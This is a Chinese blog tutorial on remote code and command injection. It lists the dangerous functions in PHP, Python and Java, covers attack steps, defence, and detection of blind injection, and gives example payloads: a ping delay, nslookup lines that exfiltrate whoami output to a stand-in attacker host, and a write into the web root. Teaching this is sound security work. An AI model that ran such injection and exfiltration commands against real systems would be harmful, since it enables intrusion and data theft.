4.8 RCE
简介#
RCE 分为两类。详见
Remote Code Execution (Code Injection)
Remote Command Execution (Command injection)
是什么?#
代码注入、命令注入,差不多都一个意思,不同之处在于前者将用户可控输入当作系统命令执行,而后者当作代码执行。
程序编写时,将用户的可控输入作为代码、命令的一部分来执行,而没有进行严格过滤。
php 中 # 可以进行代码执行的函数 eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map() # 可以进行命令执行的函数 system()、shell_exec()、popen()、passthru()、proc_open() python 中 eval exec subprocess os.system commands java 中 java 中没有直接的函数,但是可以通过反射机制结合表达式引擎来实现这种功能。 OGNL、SpEL、MVEL
历史原因,在进行查询库存等操作时,可能会直接调用相应单独程序。
成功攻击的影响是?#
代码执行可以执行代码,包括调用执行系统命令函数。
命令执行可以执行系统命令。
如何攻击?#
-
要探测到可能用作 代码执行、命令执行的入口。白盒而言相对简单,黑盒只能通过经验、程序表现来判断。
-
突破不严谨过滤方式。 见下文
-
进行利用。
可以利用 Commix 命令注入检测、利用工具。
如何防御?#
尽量不要使用将用户可控输入转化为命令的功能。
如果非要使用,应该严格限制输入类型、不允许特殊符号。
检测与利用#
代码注入#
构造 webshell。
命令注入#
如果目标回显,则直接看响应结果即可。
如目标不回显,则尝试以下方法:
-
时延。利用耗时命令,当注入成功时,响应时间明显变大。
ping -c 2 -i 4 127.0.0.1 //每次ping 间隔 4秒 -
oob 技术。利用 ping 或者 nslookup 来检测或带出数据。
nslookup `whoami`.kgji2ohoyw.web-attacker.com nslookup $(whoami).kgji2ohoyw.web-attacker.com -
写入到文件。写入到网站公共目录下,然后访问文件。
whoami > /var/www/static/whoami.txt
防御绕过#
等链接到后面的 WAF 绕过
代码注入#
正则表达式过滤,可以尝试 异或加密。在网上查找代码加密混淆工具。
命令执行#
作者:chenyun
出处:https://www.cnblogs.com/starrys/p/14677621.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】Flutter适配HarmonyOS 5知识地图,实战解析+高频避坑指南
【推荐】凌霞软件回馈社区,携手博客园推出1Panel与Halo联合会员
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何把ASP.NET Core WebApi打造成Mcp Server
· Linux系列:如何用perf跟踪.NET程序的mmap泄露
· 日常问题排查-空闲一段时间再请求就超时
· Java虚拟机代码是如何一步一步变复杂且难以理解的?
· 领域驱动的事实与谬误 一 DDD 与 MVC
· C#/.NET/.NET Core优秀项目和框架2025年4月简报
· 如何把ASP.NET Core WebApi打造成Mcp Server
· 为什么AI多轮对话那么傻?
· 排行榜的5种实现方案!
· windows11 安装WSL2详细过程